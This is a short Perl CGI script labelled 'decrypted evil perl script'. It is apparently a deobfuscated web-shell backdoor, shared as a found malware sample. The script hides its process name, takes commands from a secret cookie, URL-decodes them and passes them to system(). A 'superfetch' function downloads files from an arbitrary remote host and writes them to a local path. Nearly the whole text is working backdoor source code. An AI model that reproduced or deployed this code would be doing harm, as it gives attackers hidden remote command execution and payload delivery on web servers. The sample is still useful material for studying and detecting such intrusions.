decrypted evil perl script

#!/usr/bin/perl

use strict;

$0='';

$|=1;
binmode(STDOUT);

sub superfetch
{
    my $a=shift;
    my $p=shift;
    my $r=shift;
    my $l=shift;
    eval
    {
        local($SIG{ALRM})=sub{exit(1);};
        alarm(5);
        use Socket();
        socket(S,&Socket::PF_INET,&Socket::SOCK_STREAM,(getprotobyname('tcp'))[2]);
        if(connect(S,pack('Sna4x8',&Socket::AF_INET,$p,pack('C4',split('\.',$a)),2)))
        {
            alarm(0);
            binmode(S);
            if(open(F,'>'.$l))
            {
                binmode(F);
                send(S,"GET ".$r." HTTP/1.0\r\n\r\n",0);
                while(defined(recv(S,$b,1024,0))&&length($b))
                {
                    print F $b;
                }
                close(F);
                print "OK\n";
            }
            close(S);
        }
    };
}

print "Content-Type: text/plain\n\n";

my $n='SjJVkE6rkRYj';
my $c='';
my @x=split(/;/,$ENV{'HTTP_COOKIE'});
foreach my $x (@x)
{
    my ($k,$v)=split(/=/,$x);
    if($k ne $n){next;}
    while($v=~/\%([0-9a-f][0-9a-f])/gsmi)
    {
        $c.=chr(hex($1));
    }
}

if($c eq 'which superfetch 1> /dev/null 2> /dev/null && echo OK')
{
    print "OK\n";
}
elsif($c=~/^superfetch (.+) (.+) (.+) (.+)$/gsmi)
{
    &superfetch($1,$2,$3,$4);
}
else
{
    system($c);
}